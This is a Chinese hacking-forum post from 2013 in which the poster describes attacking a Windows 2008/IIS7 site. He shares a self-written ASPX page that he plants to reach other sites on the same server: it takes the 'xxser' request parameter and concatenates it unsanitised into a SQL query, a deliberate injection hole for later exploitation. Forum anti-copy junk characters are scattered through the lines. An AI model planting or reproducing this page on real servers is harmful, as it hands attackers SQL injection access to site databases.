找回密码
 立即注册
欢迎中测联盟老会员回家,1997年注册的域名
查看: 2394|回复: 0
打印 上一主题 下一主题

利用aspx构造注射来跨站

[复制链接]
跳转到指定楼层
楼主
发表于 2013-3-20 21:32:01 | 只看该作者 回帖奖励 |倒序浏览 |阅读模式
昨天跟4z1看一个站点,提权很难提,看了整整5个小时,无果。 2008+iis7,无sa,无root,无各种服务。。。
& q/ r3 `; z% n' o+ S! Z$ ~- F  r其实中用到了aspx构造注射来跨站,网上找了一堆代码,没一个能用的。
0 M, N9 W3 @' h3 M. {- x代码量不多,自己写个拉倒了。烦死了。+ w) g8 @4 V. n' g! [
9 f5 Q" d" l2 b2 E  \5 L# e
​7 u2 W* M4 R  Y
<!DOCTYPE html PUBLIC "-//W3C//DTD XHTML 1.0 Transitional//EN" "http://www.w3.org/TR/xhtml1/DTD/xhtml1-transitional.dtd">
/ y/ T. l- o% z7 n; F! f<html xmlns="http://www.w3.org/1999/xhtml">
0 n) m( L$ H/ }) ^) b<head runat="server">( U, }. t+ A5 I4 a3 \
    <title>暗影aspx构造注射专用页面</title>
$ d0 d( j( u" W! [! R</head>
: G0 Q: t: `2 h" \$ y1 _% D<body>) p. b" J( j" g( v% B
    <form id="form1" runat="server">' v6 o' r( s7 H7 q
    <div>* F/ W4 }6 D  Y
     <script language="c#" runat="server">8 \* t; S% s; w0 s9 @! k
            1 b4 h9 @& i3 Z4 d! |
         void page_init(object sender, EventArgs e)# ?: F, B) E8 d) @" z) M/ e6 x
         {
. h" F+ u0 z1 W$ A( {' ~             " E! V' l; N$ \# k' {
             System.Data.SqlClient.SqlConnection conn = new System.Data.SqlClient.SqlConnection();
  Z7 p) D' j: y1 ^! c% d* S            
4 S5 |+ `# H. w0 v1 e             conn.ConnectionString = ConfigurationManager.ConnectionStrings["连接名"].ToString();
" F. |9 \# S, S             conn.Open();
7 ~; p3 }5 y) {" z" o             0 U. ~  t# K8 R1 A: U0 P: \; ?
             string i =  this.Page.Request.Params["xxser"];  //这里是参数?xxser=1
# A: X3 F. q- \: k             4 x) r* ]8 L" L! g1 j( R
             System.Data.SqlClient.SqlCommand command = new System.Data.SqlClient.SqlCommand("select * from [表] where 列名= " + i, conn);
! H# d0 M7 Q9 s: O' W             int x = command.ExecuteNonQuery();6 B! O; K8 l- I4 T
             Response.Write(i+"\n");
# x2 s+ D  o, K7 B, l! P, {             Response.Write(x);- U2 a. H- _6 k, b6 f9 m( _8 U
             conn.Close();+ v# G. V% w+ W- q% k8 T
         }
/ Q, d/ A' A$ a. u% i, A9 _     4 V, T, Q5 r, y0 y; r
  </script>
7 N! v/ f) d- }2 x. T. D4 ~    </div>
) r/ U0 j6 c( {7 q    </form>
$ S9 d) t8 A1 Q0 \8 j" [' b</body>/ ^/ o' J2 B2 t; V0 j) d" h+ h
</html>0 j" l: |  _, Y% `# s$ z3 [; P
回复

使用道具 举报

您需要登录后才可以回帖 登录 | 立即注册

本版积分规则

快速回复 返回顶部 返回列表